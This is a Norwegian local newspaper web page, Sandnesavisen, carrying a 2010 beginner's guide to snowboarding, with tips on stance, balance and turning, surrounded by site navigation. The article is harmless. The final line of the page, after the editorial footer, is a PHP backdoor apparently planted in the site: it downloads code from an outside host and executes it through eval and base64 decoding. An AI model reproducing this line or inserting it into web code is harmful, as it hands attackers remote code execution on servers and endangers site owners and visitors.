Tryggbarna1
GARANTERT BILLIGST: Ut p� reise? Finn billigst hotell i
Google
01. mai 2017.
Som startside
Forsiden
Papirutgaver
Forum
Mobil
Lokalhistorie
Annonse
Nettannonse
Rubrikkannonse
Politiloggen
Bil & Motor
Reise
Spill Sudoku
Felix & Co
Annonsebilag
Riksnyheter
Kupong marked
Fotokonkurranse
Sommerens fotokonkurranse 2010
Fotokonkurranse
Informasjon
Innsendte foto
Ser du ikke bildene?
Registrer deg
Logg inn
SA - RUBRIKK
Markedsplass
Annonser
Regler
Logge inn
Ny bruker?
Lokale nyheter
Sandnes
Stavanger
Sola
Randaberg
Klepp
Time
Vær - Sandnesavisen
Sandnesavisen - POLITILOGG V2
Sandnesavisen - Bil & Motor
Sport
Sandnes
Stavanger
Kultur
Bøker
Musikk
Film
Byen vår
Skriv ny artikkel
- - - - - - - - - - - - - -
Austrått
Figgjo
Ganddal
Hana
Høle
Lura
Malmheim
Riska
Sandved
Soma
Stangeland
Sviland
Trones/Sentrum
- - - - - - - - - - - - - -
Folk
Meninger
Reisebrev
Fotball
Håndball
Kultur
Politikk
Økonomi
Natteliv
- - - - - - - - - - - - - -
Sandnes Atletklubb
Hommersåk Atlet
S Taekwon-Do
Sandnes BMX
S Innebandy Klubb
- - - - - - - - - - - - - -
S Skolekorps
Ut av byen
Bil
Buss
Fly
Båt
Tog
Hvordan lære seg å kjøre snowboard
Skrevet av Trond Stava   
tirsdag 16. februar 2010

Snowboard som er som andre idretter noe som krever mye øvelse for å bli mester. De profesjonelle snowboardkjørerne på TV får det til å se så lett ut. Fakta er at snowboard er en krevende sport både fysisk og teknisk, her skal det mye trening til.

Så er det viktig med utstyr i rett størrelse og klær som går til været. Beskyttelsesutstyr er også en viktig del når man kjører snowboard.

Det anbefales at du kjører med noen som allerede kan kjøre snowboard de første gangene. Hvis du ikke kjenner noen kan du i de fleste alpintanlegg bli med på enten gruppetimer eller privattimer med en instruktør. Dette er å anbefale til alle som aldri har kjørt før eller ikke har noen som kan veilede de første gangene.

Når du setter utfor den første gangen så er det greit å ta turen til den enkleste løypen/ barnebakken for å prøve seg litt og finne balansen på brettet. Det første du trenger å finne ut av er hvilken kjøreretning som er naturlig for deg.
De aller fleste som ikke har kjørt før kjører med venstre fot først. Om du kjører med venstre fot først så kjører man regular. Kjører du med høyre fot først kjører du goofy.

Start med å stille deg i bakken med ansiktet vendt nedover bakken og stå oppreist på hælene. Start forsiktig med å lene deg fremover så du får litt fart. Forsøk og finne balansen så godt som muilg da dette er det viktigste for å klare å stå på brettet.

Når du begynner å kjenne at du har kontroll på brettet når du kjører på hæl kan du starte tenke på svingingen. Dette er nok den vanskeligste delen for de fleste. Start å vri overkroppen mot retningen du skal svinge like før du tenker å svinge. Hold vekten på fremste foten, gå mer og mer over på tå og vri resten av kroppen rundt. Da vil bakfoten komme etter og du vil svinge til høyre (hvis du kjører regular, venstre om du kjører goofy).

Utfordringen her ligger i å ikke tippe for mye over på tå da dette vil kjøre brettet ned i snøen og du vil falle forover. Det gjelder å finne balansen mellom for mye og for lite.

Når det gjelder å svinge tilbake igjen så blir prinsippene det samme. Start med å vri overkroppen, len deg mer og mer over på hælen. Vri så resten av kroppen etter. Da vil bakfoten komme etter og du svinger rundt. Dette krever en god del trening for å få til. Du trenger å finne balansepunktet mellom å lene seg for mye over og for lite.

Nå gjenstår det å prøve om og om igjen til du får mer og mer kontroll.Du må regne med litt knall og fall før du får det til! Med litt tålmodighet finner du balansepunktene.

 
Siste 3 fotoannonser fra Markedsplassen - Her kan du annonsere gratis!
 
dinreise
dinreise
Kupong marked
SA DM
Care
ProCamp 160
Sandnesavisen - Papirutgaver
Sandnesavisen - Felix Liten
dinreise
s
dinreise
Drives av Sandnesavisen.no, Webhosting levert av findthedomain.com
Ansvarlig Redaktør: Atle Stava Foto/Reporter: Trond Stava
Ønsker du å annonsere her? Kontakt annonse@sandnesavisen.no Tips oss! Kontakt tips@sandnesavisen.no
$rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode($rrr));